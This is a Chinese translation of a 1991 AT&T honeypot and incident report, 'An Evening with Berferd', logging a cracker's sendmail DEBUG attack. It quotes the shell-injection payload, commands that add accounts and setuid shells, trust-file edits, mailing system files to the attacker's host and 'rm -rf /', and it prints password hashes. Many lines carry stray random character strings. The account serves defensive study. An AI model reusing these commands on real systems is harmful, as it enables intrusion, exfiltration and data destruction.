在1991年1月7号,一个黑客,他确信自己发现了我们的Internet网关计算机的sendmail的一个DUBUG漏洞的黑客,试图获得我们的password文件,我“送”给他了一份。
! H; i" n9 ~" G$ E0 Z在几个月中,我们引诱这名黑客作各种快乐的尝试,以便于我们发现他的位置和使用的破解技术。这篇文章是对该黑客的“成功”和失败,我们使用的诱饵和陷阱的详细记录
* t3 }& F- \. |我们的结论是我们所遇到的这个黑客拥有大量的时间,固执异常,并持有一份优秀的系统漏洞列表。一旦他获得了系统的一个正式注册身份,使用那些漏洞他可以轻易的攻破uucp和bin帐号,然后是root。我们的黑客对军事目标和可以帮助他中转其连接的新机器很感兴趣。6 o* L: F# u% H7 C( L7 f9 x
简介8 ]$ a) w8 b7 P, E
我们的安全Internet网关是1990年1月开始使用的。对于这个整个城堡的大门,我想知道它所可能遭到的攻击会有多么频繁。我明白Internet上有一些喜欢使用“暴力”的人,那么他们是谁?他们会攻击什么地方?会多么频繁?他们经常尝试系统的那些漏洞?, M8 i0 W) E3 t3 X
事实上,他们没有对AT&T作出破坏,甚至很少光顾我们的这扇大门,那么,最终的乐趣只有如此,引诱一个黑客到一个我们设计好的环境中,记录下来他的所有动作,研究其行为,并提醒他的下一个目标作出防范。% @9 J! O" a9 h: ]. D
大多数Internet上的工作站很少提供工具来作这些事情,商业系统检测并报告一些问题,但是它们忽略了很多我们想要的东西。我们的网关每天产生10兆的日志文件。但人们对于日志记录以外的服务的攻击呢?
2 q) [% Z* j" T: u6 ^$ k1 a; S, t我们添加了一些虚假的服务在系统上,同时我编写了一个script文件用来检索每天的日志。我们检查以下几点:
$ m0 l. D/ b1 D- D9 k: WFTP :检索的工具会报告每天所有注册和试图注册的用户名。它还会报告用户对tilde的使用(这是个老版本的ftp的漏洞)、所有对ftp目录的/etc/passwd和/etc/group的存取以及对pub目录下完整文件列表的获取。获取passwd的人通常用它来获得系统的正式用户的注册名称,然后攻击、破解其密码。有时有些系统的管理员会将系统的真实passwd文件放在ftp的/etc目录下,我们伪造了一个passwd文件,它的密码被破解后是“why are you wasting your time.”5 z* P0 x0 b* H2 F7 X3 q5 c$ Y
Telnet / login :所有试图login的动作都被记录了下来。这很容易就可以看出有些人在尝试很多帐号,或强力攻击某一个帐号。因为我们这个Internet的大门除了“警卫”外没有什么别的用户,很容易就可以找到问题所在。6 x5 `% @& B7 h* @2 L
Guest / visitor 帐号:黑客们第一个寻找的就是公用帐号。这些帐号提供了友好的,最轻易的获取几乎系统的所有文件的机会,包括passwd文件。黑客也可以通过获取/etc/hosts.equiv文件或每个用户的.rhosts文件来获得机器的信任主机列表。我们对于这些帐号的login script文件是这样编写的:
. }5 f! y: c) {" K4 \3 J# Cexec 2>/dev/null # ensure that stderr doesn't appear
: x. M0 c) @1 s$ ?trap "" 1! d) c6 V. e8 Y8 i' s0 `$ \
/bin/echo
3 _# c2 g& N1 o5 v; A$ f# L+ h4 v' ~( /bin/echo "Attempt to login to inet with $LOGNAME from $CALLER" |
& t0 X( e- D. _$ E4 M5 rupasname=adm /bin/mail ches dangelo &
* h+ ?, |! i8 k1 o# (notify calling machine's administrator for some machines...)
" V8 T: U, r2 o& y/ X# (finger the calling machine...)2 v* c+ f* B- K1 |; `2 q
) 2>&1 | mail ches dangelo* x1 d9 }; j" h! {- c3 }! ^
/bin/echo "/tmp full"
; s `3 |9 T5 @) g" ysleep 5 # I love to make them wait....
2 A. L7 m- T/ n! `' i/bin/echo "/tmp full"
+ v$ I7 q- E# [# b2 G+ Q/bin/echo "/tmp full"
z! `: B! R* ~ i1 D( w/bin/echo- M8 _$ V& f8 _" ^
sleep 60 # ... and simulating a busy machine is useful
( h- i5 }* V1 F N. n我们必须小心以便不让调用者看到系统的标志出错信息(如果一旦我们编写的script有误)。注意$CALLER是在另一端的主机或IP地址。通过修改telnetd或login,它将可以通过环境变量来获取。! z8 _0 u3 ?: f( L! `$ G
SMTP DEBUG : 这个命令提供了两个守候sendmail的漏洞的陷阱。虽然几乎所有的产品出售商都清除了这个漏洞,但偶尔仍有黑客尝试它。这个漏洞允许外部的使用者使用一段以root权限执行的script。当有些人尝试这个漏洞时,我就获得了他尝试的script代码。) F' o z# e5 R9 } @$ i1 z/ u) \
Finger :Finger提供了大量有用的信息给黑客:帐号名,该帐号的最后一次使用时间,以及一些可以用来猜测密码的信息。由于我们的组织不允许提供这些信息给别人,我们置入了一个程序,在finger了fingerd的调用者后拒绝figner请求。(当然我们会避免对来自自己的finger信息的死循环)。报告表明每天有数以十计的finger请求,其中大部分是合法的。; y$ e( u& d! L# m2 v
Rlogin / rsh :这些命令都是基于一些无条件信任的系统,我们的机器并不支持。但我们会finger使用这些命令的用户,并将他的尝试和用户信息等生成报告。- a- h0 @8 z; K6 J+ B; _
上述很多探测器都使用figner命令来查明调用的机器和使用者。
( O* X8 s! t- x, \当一个尝试显示为有不合法企图时,我就发出这样一条消息:
+ l& u- F+ d% p- X8 ^2 |inetfans postmaster@sdsu.edu
8 @) m- E. ~: @0 JYesterday someone from math.sdsu.edu fetched the /etc/passwd file
: ^. l- _% p2 Tfrom our FTP directory. The file is not important, but these probes* B( J; n& J* C/ z5 ~
are sometimes performed from stolen accounts.
6 z% g7 A$ a P: v/ ZJust thought you'd like to know.& i! U8 [* t$ j( A! U
Bill Cheswick3 M e' G% D: J9 P
这是一个典型的信件,它被发往“inetfans”,这些人属于计算机紧急响应小组(Computer Emergency Response Team , CERT)、某些兴趣小组或对某些站点感兴趣的人。
7 I! `6 ^2 B* t+ J9 [很多系统管理员很重视这些报告,尤其是军事站点。通常,系统管理员在解决这些问题上都非常合作。对这些信件的反应包括道歉,拒绝信件,关闭帐号以及沉默等等。当一个站点开来愿意支持黑客们的活动时,我们会考虑拒收来自该站的所有信息包。
9 ?9 Q; J `7 L7 ?不友好的行动
$ A. A, L; x) _) {6 L: o我们从1990年1月设置好这些探测器。统计表明被攻击率在每年学校的假期期间会上升。我们的被攻击率可能比其他站点高,因为我们是广为人知的,并被认为是“电话公司”。
& ?1 W1 S# n; r2 v' C当一个远程使用者取走passwd文件时,并不是所有的人都出于恶意的目的。有时他们只是想看看是否传输能正常工作。
9 d/ B. v5 G& Q% b7 w$ s" h19:43:10 smtpd[27466]: <--- 220 inet.att.com SMTP
- U0 e- d7 Z- z! _9 k4 e19:43:14 smtpd[27466]: -------> debug1 u8 E7 Q9 u& S* L2 x% S# |
19:43:14 smtpd[27466]: DEBUG attempt
( }) E" R. I/ M, l& E4 S19:43:14 smtpd[27466]: <--- 200 OK8 j! i! z: h4 z% J, K. D
19:43:25 smtpd[27466]: -------> mail from:
$ | { T7 W% Y2 R- e$ R) T! Q19:43:25 smtpd[27466]: <--- 503 Expecting HELO
$ ~3 B, |0 ^: p4 d3 T: d. }19:43:34 smtpd[27466]: -------> helo- ?9 m9 p# Y! f+ K" T
19:43:34 smtpd[27466]: HELO from! ^ J4 U( R' O6 [4 s
19:43:34 smtpd[27466]: <--- 250 inet.att.com" ?: N7 u% m6 ^9 p/ ^, Q
19:43:42 smtpd[27466]: -------> mail from:
4 ^ U( m! S2 }! _1 B1 X8 {9 P# ~19:43:42 smtpd[27466]: <--- 250 OK
/ ^; o1 Z/ S. p! `5 a( k1 Y# M# [19:43:59 smtpd[27466]: -------> rcpt to: 19:43:59 smtpd[27466]: <--- 501 Syntax error in recipient name7 W- W$ L% s/ g* @
19:44:44 smtpd[27466]: -------> rcpt to:<|sed -e '1,/?$/'d | /bin/sh ; exit 0">
$ T8 N2 l; T) F# _- i19:44:44 smtpd[27466]: shell characters: |sed -e '1,/?$/'d | /bin/sh ; exit 0"
u8 Y. P v( P7 J0 x: K19:44:45 smtpd[27466]: <--- 250 OK
! o0 X1 h( D3 O. P4 C6 s19:44:48 smtpd[27466]: -------> data
, p9 T3 s/ {( V& |. P19:44:48 smtpd[27466]: <--- 354 Start mail input; end with .2 I% S8 v1 s6 j* Z9 E) ?! l
19:45:04 smtpd[27466]: <--- 250 OK9 G8 D# e5 D* R3 B9 f# B* I$ v$ a5 v
19:45:04 smtpd[27466]: /dev/null sent 48 bytes to upas.security2 e& e M2 _: n1 O& l
19:45:08 smtpd[27466]: -------> quit' A, F' N. T0 ~9 t5 `2 h
19:45:08 smtpd[27466]: <--- 221 inet.att.com Terminating
" W3 h* J9 L$ s7 F, A: O+ S$ X19:45:08 smtpd[27466]: finished.
9 K$ g% ]1 x& d& z6 i0 e3 p这是我们对SMTP过程的日志。这些看来很神秘的日志通常是有两个邮件发送器来相互对话的。在这个例子中,另一端是由人来键入命令。他尝试的第一个命令是DEBUG。当他接收的“250 OK”的回应时一定很惊奇。关键的行是“rcpt to :”。在尖括号括起的部分通常是一个邮件接收器的地址。这里它包含了一个命令行。Sendmail在DEBUG模式下用它来以ROOT身份执行一段命令。即:- T) I1 D% Y. t9 j; q
sed -e '1,/?$/'d | /bin/sh ; exit 0"
8 q" b0 Y% t: }6 X: |- \它剥去了邮件头,并使用ROOT身份执行了消息体。这段消息邮寄给了我,这是我记录下来的,包含时间戳:
! L- d+ P; x$ ]! l; K19:45 mail adrian@embezzle.stanford.edu 19:51 mail adrian@embezzle.stanford.edu 他希望我们邮寄给他一份我们的passwd文件。大概用来运行一些passwd破解程序。所有这些探测结果都来自EMBEZZLE.STANFORD.EDU的一个adrian用户。他在美国空袭伊拉克半个小时后公然作出敌意反应。我怀疑是萨达姆雇佣了一两个黑客。我恰巧在ftp的目录下有一个假的passwd文件,就用root身份给Stanford发了过去。
6 [+ t% d; G7 F+ u/ a1 X第二个早晨,我听到了来自Stanford的消息:他们知道了这件事,并正在发现问题所在。他们说adrian这个帐号被盗用了。0 i7 f1 `+ u b& y% s* f
接着的一个星期天我接到了从法国发来的一封信:5 g" Z; t8 s& F( R, s. [/ g
To: root@research.att.com! X' q: y1 ]4 F2 P+ n% \) c
Subject: intruder
+ x4 b1 Z* C: g' S& v5 aDate: Sun, 20 Jan 91 15:02:53 +0100
, W$ i1 M7 N" }$ \2 NI have just closed an account on my machine
. Y6 ~ `; o. K k0 Mwhich has been broken by an intruder coming from embezzle.stanford.edu. He
8 ]$ I6 @. `9 i1 o(she) has left a file called passwd. The contents are: F# G) S/ v" p
------------>
|* k% Y- v! k- ZFrom root@research.att.com Tue Jan 15 18:49:13 19912 F5 J9 F3 x3 N1 i
Received: from research.att.com by embezzle.Stanford.EDU (5.61/4.7);
j$ E9 t, B! r" ?* jTue, 15 Jan 91 18:49:12 -0800
& ? O# f, [. q/ l- YMessage-Id: <9101160249.AA26092@embezzle.Stanford.EDU>1 W! {) K2 S! W8 q
From: root@research.att.com
1 o l5 w8 \! Q& f- I* LDate: Tue, 15 Jan 91 21:48 EST1 z. N, s5 r$ M# @3 P- ~
To: adrian@embezzle.stanford.edu5 `' Y6 k) m+ O1 k" e( i
Root: mgajqD9nOAVDw:0:2:0000-Admin(0000):/:# b& N* [( ?& |1 T+ k
Daemon: *:1:1:0000-Admin(0000):/: b0 C3 o: l2 F; d* i- w& E
Bin: *:2:2:0000-Admin(0000):/bin:& U+ {! P% K- Z8 V/ E6 P
Sys: *:3:3:0000-Admin(0000):/usr/v9/src:- K9 Z) U% Z `0 P0 x
Adm: *:4:4:0000-Admin(0000):/usr/adm:
8 B9 i, Y& N+ p9 s6 K5 QUucp: *:5:5:0000-uucp(0000):/usr/lib/uucp:
% l( \! o9 ]* b: _& vNuucp: *:10:10:0000-uucp(0000):/usr/spool/uucppublic:/usr/lib/uucp/uucico
/ o3 n) R! o: X4 O' Y& jFtp: anonymous:71:14:file transfer:/:no soap
/ r/ F D% m* Y5 ]8 uChes: j2PPWsiVal..Q:200:1:me:/u/ches:/bin/sh
0 I+ M& A' N9 u @" `; yDmr: a98tVGlT7GiaM:202:1:Dennis:/u/dmr:/bin/sh
9 F; j) `& _3 r: H; ~Rtm: 5bHD/k5k2mTTs:203:1:Rob:/u/rtm:/bin/sh
: U; Z+ }, I& B& r+ z! R) ?/ QBerferd: deJCw4bQcNT3Y:204:1:Fred:/u/berferd:/bin/sh1 a- X3 ]0 n$ C6 U! w
Td: PXJ.d9CgZ9DmA:206:1:Tom:/u/td:/bin/sh
: |1 ?) [1 ~% s7 H$ i' \2 i; pStatus: R4 K% F4 Z6 ], l, X
------------Please let me know if you heard of him.
9 x. \5 H$ Z) s$ X& u陪伴Berferd的一个夜晚
: O" f! ]1 O; T& D: n1月20号,星期天晚上,我的终端报告有安全敏感事件。
# B3 x" D4 ?/ f j22:33 finger attempt on berferd
$ g2 @5 F8 d8 l/ z$ y* s几分钟后,有人试图使用DEBUG来用ROOT身份执行命令,他试图修改我们的passwd文件!) q, B6 W; \# B0 l
22:36 echo "beferdd::300:1:maybe Beferd:/:/bin/sh" >>/etc/passwd8 m: H9 |9 l2 B% b+ h# Z) z D
cp /bin/sh /tmp/shell6 q: i9 r( m% D9 Y6 G: q' S
chmod 4755 /tmp/shell) D! A2 p+ I0 S
连接同样来自EMBEZZLE.STANFORD.EDU。
' Y: t+ h6 j" A& L9 n我该怎么作呢?我不希望他真的能获得一个网关的帐号,为什么引狼入室呢?那样我将得不到他的键盘活动。1 T6 U; E+ v2 ?% H& \ j2 C0 @
我应该继续看看他关注的其他事情,或许我可以手工模拟一下操作系统,这意味着我必须让他以为机器速度很慢,因为我无法和MIPS M/120相比。同时意味着我必须模拟一个一致的操作系统。6 I- k8 w& U2 v) ^8 A& w
我已经有一个要求了,因为他已经持有了一份passwd。
- u8 c- s' _' |, c决定一:ftp的passwd是一个真实的passwd。
- u* e4 }/ A! ] m! T) S8 O! [还有另外的两个:
; U9 O. l; X+ H决定二:网关机器管理极差。(有DEBUG漏洞,ftp目录里有passwd)。5 Y' `/ }. A E9 q0 C; F
决定三:网关机器极慢。
! W+ Z5 j; l4 ~1 d# T& u4 b因此我决定让他以为他已经改变了passwd文件,但却不急于让他进来。我必须生成一个帐号,但却使它不可操作。我应该怎么办?
3 S! u& A0 [5 n- ?决定四:我的shell并没有放在/bin下,它放在其他地方。这样,他进来后(让他认为passwd已经改动了),没有可运行的shell。% N& b1 y/ K0 y; d
这个决定很愚蠢,但我不会因此损失任何东西。我写了一个script,生成了一个临时帐号b,当它被调用时它会给我发信,调用者将看到如下信息:0 Q2 { F4 ~2 s8 I
RISC/os (inet)9 h; u1 d# v8 ~6 b# N2 g
login: b) B9 B8 I5 w" t$ w: Q' h) T, Z$ b2 B
RISC/os (UMIPS) 4.0 inet
6 I7 a( ?# p4 Z. R# w& rCopyright 1986, MIPS Computer Systems* v! U) g* L, }8 T0 x1 H: K
All Rights Reserved. d/ n$ Y& r/ r1 b/ U2 V2 x4 C @
Shell not found
2 d% s& N1 |) I; O# @+ E我把b帐号在实际passwd文件中改成了beferd,当我作完后,他在此尝试:
. o4 O1 Y; p% G" n22:41 echo "bferd ::301:1::/:/bin/sh" >> /etc/passwd
# D, O/ h7 ~# T他的另一个试图添加到passwd文件的尝试。事实上,在我为bferd完成新的配置之前他开始急躁了:
9 F, ~& R" e+ k22:45 talk adrian@embezzle.stand?Hford.edu& ?9 `5 x g/ i, t# z; ], R7 N+ g
talk adrian@embezzle.stanford.edu3 F4 D0 {6 k* H Q- U' @
决定五:我们没有talk这个命令。
2 _6 s K; M9 B$ g9 A) M$ C; F他选择了berferd这个帐号:
; J `* ?' B7 _3 o$ q. R22:48 Attempt to login to inet with bferd from Tip-QuadA.Stanford.EDU
3 g( j p- t9 Z9 M4 b22:48 Attempt to login to inet with bferd from Tip-QuadA.Stanford.EDU
% ` a. N8 W3 d8 ~+ g22:49 Attempt to login to inet with bferd from embezzle.Stanford.EDU
7 ]. R, Q( R& @- o22:51 (Notified Stanford of the use of Tip-QuadA.Stanford.EDU)' e% n1 E4 [7 D: u$ l9 P
22:51 Attempt to login to inet with bferd from embezzle.Stanford.EDU. f* z; R6 Y) V( f: X! y0 f2 ]
22:51 Attempt to login to inet with bferd from embezzle.Stanford.EDU
2 t, S0 @. m/ ?8 p% y5 C b- c% o22:55 echo "bfrd ::303:1::/tmp:/bin/sh" >> /etc/passwd& j3 p- m _3 i( O4 y
22:57 (Added bfrd to the real password file.)
- d* L A3 q" z; x2 D22:58 Attempt to login to inet with bfrd from embezzle.Stanford.EDU/ i; [9 z5 `; N: h, N+ S" n
22:58 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
3 A* N9 U7 l6 p% H# [# A- Y23:05 echo "36.92.0.205" >/dev/null
1 `9 ^4 A3 W, ]+ U! B+ l. {( Gecho "36.92.0.205 embezzle.stanford.edu">>/etc./?H?H?H; e7 \' {+ S4 Y
23:06 Attempt to login to inet with guest from rice-chex.ai.mit.edu
. v; }% ^# x2 Y4 ]) T2 L23:06 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts
2 G# M2 ~5 a6 ]8 V$ |23:08 echo "embezzle.stanford.edu adrian">>/tmp/.rhosts
0 I* i' y7 _" v很显然他希望能够rlogin到我们的网关,这需要一些本地文件的特定设置。我们并没有作rlogin的检测。
8 K. ^0 S7 ~! b( T5 V这时他又有新的动作:
8 l+ Y* @: q0 \23:09 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
2 M. k: m8 k& l. i" M0 t% x3 `! r23:10 Attempt to login to inet with bfrd from embezzle.Stanford.EDU8 ]* y) k; N, ]6 c+ E+ n% Y
23:14 mail adrian@embezzle.stanford.edu < /etc/inetd.conf/ I" f) s* m6 i9 N' x5 g0 D; H1 `
ps -aux|mail adrian@embezzle.stanford.edu
0 ^9 y* D% B+ B6 d1 L# J; T在rlogin失败后,他希望能得到我们的inetd.conf文件来查看我们究竟启动了什么服务。我不想让他看到真正的inetd.conf,但伪造一个又非常困难。! L* S: b) N- S# J% P0 `% p
决定七:网关机器运行不稳定,时有不确定事件。
: w' J9 k* X2 _: L8 g/ c4 ?23:28 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts
- [6 r; {# r. M) N/ M% T' x. \( Techo "embezzle.stanford.edu adrian" >> /tmp/.rhosts
) N! a, P" _6 E' d* }; [ps -aux|mail adrian@embezzle.stanford.edu* R. u" @' E, B! a/ W" d
mail adrian@embezzle.stanford.edu < /etc/inetd.conf; ?7 [7 {, z5 n9 U- z# f) w
我不希望他看到ps的结果,幸运的是,他的Berkeley系统的ps命令在我的System V机器上是无效的。
A& m( E y n; ^$ m% T' L这时我通知了CERT,这时一起严重的攻击事件,在Stanford也应该有追踪这些请求的人。这时,活动又转到ftp上来:
! ?! H0 f9 a: \# {% KJan 20 23:36:48 inet ftpd[14437]: <--- 220 inet FTP server
* v$ |8 ~* U* ^" C- M(Version 4.265 Fri Feb 2 13:39:38 EST 1990) ready.
2 M) O) r9 \+ |! O$ F! `9 rJan 20 23:36:55 inet ftpd[14437]: -------> user bfrd?M! Y( |+ e# t8 |8 Q. d8 G
Jan 20 23:36:55 inet ftpd[14437]: <--- 331 Password required for bfrd.* G8 |$ T0 l0 g: I
Jan 20 23:37:06 inet ftpd[14437]: -------> pass?M
4 w1 s0 U5 @3 H+ p1 Q+ GJan 20 23:37:06 inet ftpd[14437]: <--- 500 'PASS': command not understood.. q: R" S5 d( L" \! F
Jan 20 23:37:13 inet ftpd[14437]: -------> pass?M
) ~ B& Y1 m/ E0 {9 GJan 20 23:37:13 inet ftpd[14437]: <--- 500 'PASS': command not understood.$ x( x: G1 n" X8 L! D
Jan 20 23:37:24 inet ftpd[14437]: -------> HELP?M2 B: q- L7 Q A1 s" A G' S
Jan 20 23:37:24 inet ftpd[14437]: <--- 214- The following commands are
( q# r0 o3 l/ crecognized (* =>'s unimplemented).
: i8 w& W2 {1 x) r4 F1 n' fJan 20 23:37:24 inet ftpd[14437]: <--- 214 Direct comments to ftp-bugs@inet.* x. Q/ X! f4 V1 ]# N3 ?
Jan 20 23:37:31 inet ftpd[14437]: -------> QUIT?M4 R8 O5 S3 @9 t" V( D! n
Jan 20 23:37:31 inet ftpd[14437]: <--- 221 Goodbye.
: _* n% l# e# ^( H6 ?1 \; kJan 20 23:37:31 inet ftpd[14437]: Logout, status 0# Q, [& k/ n) b$ U4 F
Jan 20 23:37:31 inet inetd[116]: exit 144374 C; ]6 s( n w
Jan 20 23:37:41 inet inetd[116]: finger request from 36.92.0.205 pid 14454
8 Z# m; q0 y+ H9 \Jan 20 23:37:41 inet inetd[116]: exit 144542 `* p! V i, u# t. m1 U! @
23:38 finger attempt on berferd' ?/ ]4 V& _ Y- t. O/ b, {4 v" R
23:48 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts.equiv0 t* b3 A6 b- \6 ~! @
23:53 mv /usr/etc/fingerd /usr/etc/fingerd.b
9 Y) w# Q* _8 U( L9 V0 ]: Ycp /bin/sh /usr/etc/fingerd+ }. @; s3 P, K. c9 z
决定四已经决定了最后一行的尝试必然失败。因此,他只是破坏了我们模拟的机器上的finger而已,并没有将之替换成一个shell程序。我关闭了实际的fingerd程序。8 Q& s4 G, `% q' ? s( e) ^
23:57 Attempt to login to inet with bfrd from embezzle.Stanford.EDU9 P+ B1 l S" n2 |
23:58 cp /bin/csh /usr/etc/fingerd* M, g& j( x1 t
我们模拟的机器上csh并不在/bin下,因此这个命令无效。& ^$ x/ n/ T+ z# \# b; ^
00:07 cp /usr/etc/fingerd.b /usr/etc/fingerd, ?1 E" z& k- G+ _% I
好吧,fingerd现在重新开始工作。Berferd的恢复工作干的不错。
9 a3 B: r' W9 {% Z7 ~: U00:14 passwd bfrt% L5 _$ L4 w3 e! \: w+ B4 V( { G
bfrt9 R. {( x% o2 t2 q) _" b8 ~
bfrt
9 k6 n# z! ?; n现在他试图修改password,这永远不会成功,因为passwd的输入是/dev/tty,不是sendmail所执行的shell script。5 }" _7 Y! u( u5 C; o( H1 S- s
00:16 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
9 e/ P: q1 s5 }- P9 q* R00:17 echo "/bin/sh" > /tmp/Shell
! E# d# b2 ?" E4 C7 n$ vchmod 755 /tmp/shell
/ H* q2 T- w2 K$ Pchmod 755 /tmp/Shell6 r# @ [2 m/ s- G- H
00:19 chmod 4755 /tmp/shell2 B. a. V- _+ u
00:19 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
% l. P( H& d; Z4 u* N- C# [00:19 Attempt to login to inet with bfrd from embezzle.Stanford.EDU# g& G- ^4 A( `! O0 P$ x% P! E
00:21 Attempt to login to inet with bfrd from embezzle.Stanford.EDU- T& u, B# [- Y! u2 O
00:21 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
8 w$ y( S2 C7 J+ K这时我已经很累了。
( D$ b4 ~) `2 q/ H1 B01:55 rm -rf /&/ _2 p% w) M* E
喔!!太狠了!显然机器的状态让他迷惑,他希望能清除所有的痕迹。有些黑客会保护自己所作的工作,声明自己不作任何破坏。我们的黑客对我们感到疲劳了,因此以此结束。( k" D& c! g- O
他继续工作了几分钟,后来放弃:5 @ f3 V/ [: p8 [. Y( D. `
07:12 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
7 i) E, [/ h' b5 w# X07:14 rm -rf /&
1 l( L0 V, z b, a07:17 finger attempt on berferd
- v7 w9 W, w+ n07:19 /bin/rm -rf /&
}$ J: l2 |' U/ ?: ~) U7 i/bin/rm -rf /&
: w4 z, Z3 H! p! T7 R, @07:23 /bin/rm -rf /&
! F6 ~0 n3 |* J07:25 Attempt to login to inet with bfrd from embezzle.Stanford.EDU x2 r- A; \( b1 P- }5 {( U# F
09:41 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
) j( O- d" L8 b |